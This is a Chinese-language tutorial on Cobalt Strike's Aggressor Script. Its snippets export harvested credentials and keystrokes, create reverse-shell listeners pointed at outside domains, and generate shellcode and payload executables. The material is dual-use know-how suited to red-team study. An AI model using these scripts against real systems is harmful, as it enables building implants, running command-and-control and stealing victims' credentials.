原文地址:
https://www.cobaltstrike.com/agscript-script/index.html
Cobalt Strike
的团队服务器存储了所有主机,服务,凭据等信息信息。
使用&data_query
函数即可查询到Cobalt Strike
的数据模型。 这个函数可以访问Cobalt Strike
客户端维护的所有状态和信息。 使用&data_keys
多了一个可以查询制定数据的功能,看demo:
command export { local('$handle $model $row $entry $index'); $handle = openf(">export.txt"); foreach $model (data_keys()) { println($handle, "== $model =="); println($handle, data_query($model)); } closef($handle); println("See export.txt for the data."); }
Cobalt Strike
提供了多种功能方便攻击者们更直观地使用数据模型。
模型 | 函数 | 功能描述 |
---|---|---|
applications | &applications | 系统分析结果 [View -> Applications] |
archives | &archives | 连接日志/活动 |
beacons | &beacons | 激活beacons |
credentials | &credentials | 账号密码等 |
downloads | &downloads | 下载的文件 |
keystrokes | &keystrokes | Beacon接收到键盘记录 |
screenshots | &screenshots | 截图文件啊 |
services | &services | 服务相关信息 |
sites | &sites | 资产信息 |
socks | &pivots | SOCKS代理服务以及端口转发 |
targets | &targets | 主机信息 |
调用这些函数会返回一个模型中每个条目的数组,每行对于的是一个字典,字典中包含了键与其键值。
要理解这东西最简单的方式就是直接到控制台上手调试了,x
命令就是为此准备的,看图:
(就是基本的数组操作。)
使用on DATA_KEY
可关注制定模型的变化:
on keystrokes { println("I have new keystrokes: $1"); }
监听器(Listeners
)是Cobalt Strike
处理bot发来的信息的核心模块。
agscript
会收集来自连接到的当前团队服务器的监听器的信息,这样做的好处是可以轻松地将会话转移给另一台团队服务器,想要获取所有监听器名称的列表可以使用&listeners
函数,只使用本地侦听器的话用&listeners_local
函数,&listener_info
函数可将监听器名称解析为其配置信息,demo:
command listeners { local('$name $key $value'); foreach $name (listeners()) { println("== $name == "); foreach $key => $value (listener_info($name)) { println("$[20]key : $value"); } } }
用&listener_create函数啦。
demo:
# 新建一个foreign监听器 listener_create("My Metasploit", "windows/foreign_https/reverse_https", "ads.losenolove.com", 443); # 新建一个HTTP Beacon监听器 listener_create("Beacon HTTP", "windows/beacon_http/reverse_http", "www.losenolove.com", 80, "www.losenolove.com, www2.losenolove.com");
用&listener_delete
函数,值得注入的是需要传入一个参数,也就是监听器的名称。
listener_delete("Beacon HTTP");
(很尴尬,不知道是官方bug还是汉化版的原因,在代码中运行正常,丢到控制台就GG。)
使用&openPayloadHelper会弹出一个当前可用的监听器列表供选择,使用者选完后程序会接着运行回调函数,demo:
item "&Spawn" { openPayloadHelper(lambda({ binput($bids, "spawn $1"); bspawn($bids, $1); }, $bids => $1)); }
使用&shellcode为指定的侦听器名称生成shellcode
。
$data = shellcode("my listener", false, "x86"); $handle = openf(">out.bin"); writeb($handle, $data); closef($handle);
shellcode函数共传入了三个参数,第一个是监听器的名称,第二个是选择是否发送给远程主机(true/false),第三个是系统的架构(x64/x86)。
用&artifact函数啦。
有四个参数需要传入:
artifact("my listener","exe",false,x86);
对比shellcode生成仅多了第二个参数,也就是生成的bot程序的类型,共七种类型可选:
类型参数 | 描述 |
---|---|
dll | x86 DLL |
dllx64 | x64 DLL |
exe | windows可执行程序啦 |
powershell | powershell脚本 |
python | python脚本 |
svcexe | 以服务启动的可执行文件啦 |
vbscript | vb脚本 |
自己写的一个小Demo:
popup beacon_bottom { item "exe" { $data = artifact("cat", "exe"); $handle = openf(">cat.exe"); writeb($handle, $data); closef($handle); } }
只写两个参数因为其他两个参数默认为false和x86,懒得话写不写都无所谓。
函数是&powershell ,用法:
println(powershell("my listener", false,x86));
和shellcode的写法一模一样,不作赘述。(本来就属于shellcode的一个子集,不知道官方为啥要独立出来写。)
函数&artifact_stageless,demo:
sub ready { local('$handle'); $handle = openf(">out.exe"); writeb($handle, $1); closef($handle); } artifact_stageless("my listener", "exe", "x86", "", &ready);
对比exe/dll生成多的参数是代理的信息,其他无异。
转自先知社区
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